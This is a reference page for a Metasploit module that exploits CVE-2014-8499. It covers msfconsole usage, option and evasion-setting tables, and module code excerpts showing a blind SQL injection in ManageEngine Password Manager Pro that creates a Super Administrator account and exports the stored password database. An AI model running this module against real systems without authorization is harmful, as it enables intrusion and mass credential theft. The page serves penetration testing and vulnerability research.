ManageEngine Password Manager SQLAdvancedALSearchResult.cc Pro SQL Injection - Metasploit


This page contains detailed information about how to use the auxiliary/admin/http/manageengine_pmp_privesc metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: ManageEngine Password Manager SQLAdvancedALSearchResult.cc Pro SQL Injection
Module: auxiliary/admin/http/manageengine_pmp_privesc
Source code: modules/auxiliary/admin/http/manageengine_pmp_privesc.rb
Disclosure date: 2014-11-08
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 7272, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2014-8499

ManageEngine Password Manager Pro (PMP) has an authenticated blind SQL injection vulnerability in SQLAdvancedALSearchResult.cc that can be abused to escalate privileges and obtain Super Administrator access. A Super Administrator can then use his privileges to dump the whole password database in CSV format. PMP can use both MySQL and PostgreSQL databases but this module only exploits the latter as MySQL does not support stacked queries with Java. PostgreSQL is the default database in v6.8 and above, but older PMP versions can be upgraded and continue using MySQL, so a higher version does not guarantee exploitability. This module has been tested on v6.8 to v7.1 build 7104 on both Windows and Linux. The vulnerability is fixed in v7.1 build 7105 and above.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


msf > use auxiliary/admin/http/manageengine_pmp_privesc
msf auxiliary(manageengine_pmp_privesc) > show targets
    ... a list of targets ...
msf auxiliary(manageengine_pmp_privesc) > set TARGET target-id
msf auxiliary(manageengine_pmp_privesc) > show options
    ... show and set options ...
msf auxiliary(manageengine_pmp_privesc) > exploit

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

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Msfconsole Usage


Here is how the admin/http/manageengine_pmp_privesc auxiliary module looks in the msfconsole:

msf6 > use auxiliary/admin/http/manageengine_pmp_privesc

msf6 auxiliary(admin/http/manageengine_pmp_privesc) > show info

       Name: ManageEngine Password Manager SQLAdvancedALSearchResult.cc Pro SQL Injection
     Module: auxiliary/admin/http/manageengine_pmp_privesc
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2014-11-08

Provided by:
  Pedro Ribeiro <[email protected]>

Check supported:
  Yes

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  PASSWORD   guest            yes       Password for the specified username
  Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT      7272             yes       The target port (TCP)
  SSL        true             yes       Use SSL
  TARGETURI  /                yes       Password Manager Pro application URI
  USERNAME   guest            yes       The username to login as
  VHOST                       no        HTTP server virtual host

Description:
  ManageEngine Password Manager Pro (PMP) has an authenticated blind 
  SQL injection vulnerability in SQLAdvancedALSearchResult.cc that can 
  be abused to escalate privileges and obtain Super Administrator 
  access. A Super Administrator can then use his privileges to dump 
  the whole password database in CSV format. PMP can use both MySQL 
  and PostgreSQL databases but this module only exploits the latter as 
  MySQL does not support stacked queries with Java. PostgreSQL is the 
  default database in v6.8 and above, but older PMP versions can be 
  upgraded and continue using MySQL, so a higher version does not 
  guarantee exploitability. This module has been tested on v6.8 to 
  v7.1 build 7104 on both Windows and Linux. The vulnerability is 
  fixed in v7.1 build 7105 and above.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2014-8499
  OSVDB (114485)
  https://seclists.org/fulldisclosure/2014/Nov/18
  https://github.com/pedrib/PoC/blob/master/advisories/ManageEngine/me_pmp_privesc.txt

Module Options


This is a complete list of options available in the admin/http/manageengine_pmp_privesc auxiliary module:

msf6 auxiliary(admin/http/manageengine_pmp_privesc) > show options

Module options (auxiliary/admin/http/manageengine_pmp_privesc):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD   guest            yes       Password for the specified username
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      7272             yes       The target port (TCP)
   SSL        true             yes       Use SSL
   TARGETURI  /                yes       Password Manager Pro application URI
   USERNAME   guest            yes       The username to login as
   VHOST                       no        HTTP server virtual host

Advanced Options


Here is a complete list of advanced options supported by the admin/http/manageengine_pmp_privesc auxiliary module:

msf6 auxiliary(admin/http/manageengine_pmp_privesc) > show advanced

Module advanced options (auxiliary/admin/http/manageengine_pmp_privesc):

   Name                  Current Setting                                     Required  Description
   ----                  ---------------                                     --------  -----------
   DOMAIN                WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS         true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   FingerprintCheck      true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                         no        HTTP connection and receive timeout
   HttpPassword                                                              no        The HTTP password to specify for authentication
   HttpRawHeaders                                                            no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace             false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly  false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                              no        The HTTP username to specify for authentication
   SSLVersion            Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   UserAgent             Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE               false                                               no        Enable detailed status messages
   WORKSPACE                                                                 no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the admin/http/manageengine_pmp_privesc module can do:

msf6 auxiliary(admin/http/manageengine_pmp_privesc) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the admin/http/manageengine_pmp_privesc auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(admin/http/manageengine_pmp_privesc) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

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Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Fingerprint hasn't been successful, trying to exploit anyway...


Here is a relevant code snippet related to the "Fingerprint hasn't been successful, trying to exploit anyway..." error message:

216:	  end
217:	
218:	
219:	  def run
220:	    unless check == Exploit::CheckCode::Appears
221:	      print_error("Fingerprint hasn't been successful, trying to exploit anyway...")
222:	    end
223:	
224:	    version = get_version
225:	    @cookie = login(datastore['USERNAME'], datastore['PASSWORD'])
226:	    if @cookie == nil

<PEER> - Failed to authenticate.


Here is a relevant code snippet related to the "<PEER> - Failed to authenticate." error message:

222:	    end
223:	
224:	    version = get_version
225:	    @cookie = login(datastore['USERNAME'], datastore['PASSWORD'])
226:	    if @cookie == nil
227:	      fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate.")
228:	    end
229:	
230:	    creds = inject_sql(version < 7000 ? true : false)
231:	    username = creds[0]
232:	    password = creds[1]

<PEER> - Failed to authenticate as Super Administrator, account <USERNAME> might not work.


Here is a relevant code snippet related to the "<PEER> - Failed to authenticate as Super Administrator, account <USERNAME> might not work." error message:

233:	    print_good("Created a new Super Administrator with username: #{username} | password: #{password}")
234:	
235:	    cookie_su = login(username, password)
236:	
237:	    if cookie_su.nil?
238:	      fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate as Super Administrator, account #{username} might not work.")
239:	    end
240:	
241:	    print_status("Reporting Super Administrator credentials...")
242:	    store_valid_credentail(user: username, private: password)
243:	

Failed to export Password Manager Pro passwords.


Here is a relevant code snippet related to the "Failed to export Password Manager Pro passwords." error message:

288:	          loot_type,
289:	          rhost,
290:	          res.body,
291:	          loot_filename,
292:	          loot_desc)
293:	      print_status("Password database saved in: #{p}")
294:	    else
295:	      print_error("Failed to export Password Manager Pro passwords.")
296:	    end
297:	  end
298:	end

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References


See Also


Check also the following modules related to this module:

Authors


  • Pedro Ribeiro <pedrib[at]gmail.com>

Version


This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.

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